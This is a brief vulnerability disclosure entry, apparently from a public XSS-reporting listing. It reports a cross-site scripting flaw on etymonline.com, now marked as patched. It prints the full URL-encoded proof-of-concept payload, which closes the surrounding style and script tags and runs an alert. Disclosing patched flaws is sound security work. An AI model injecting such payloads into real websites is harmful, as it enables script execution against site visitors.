etymonline.com XSS vulnerability

Vulnerable URL: http://www.etymonline.com/abbr.php?allowedinframe=%27%22--%3E%3C/style%3E%3C/scRipt%20%3E%3CscRipt%3Ealert%28%27XSSPOSED%27%29%3C/scRipt%3E Details: Description| Value ---|--- Patched:| Yes, at 22.11.2017 Latest check for patch:| 22.11.2017 09:03 GMT Vulnerability type:| XSS...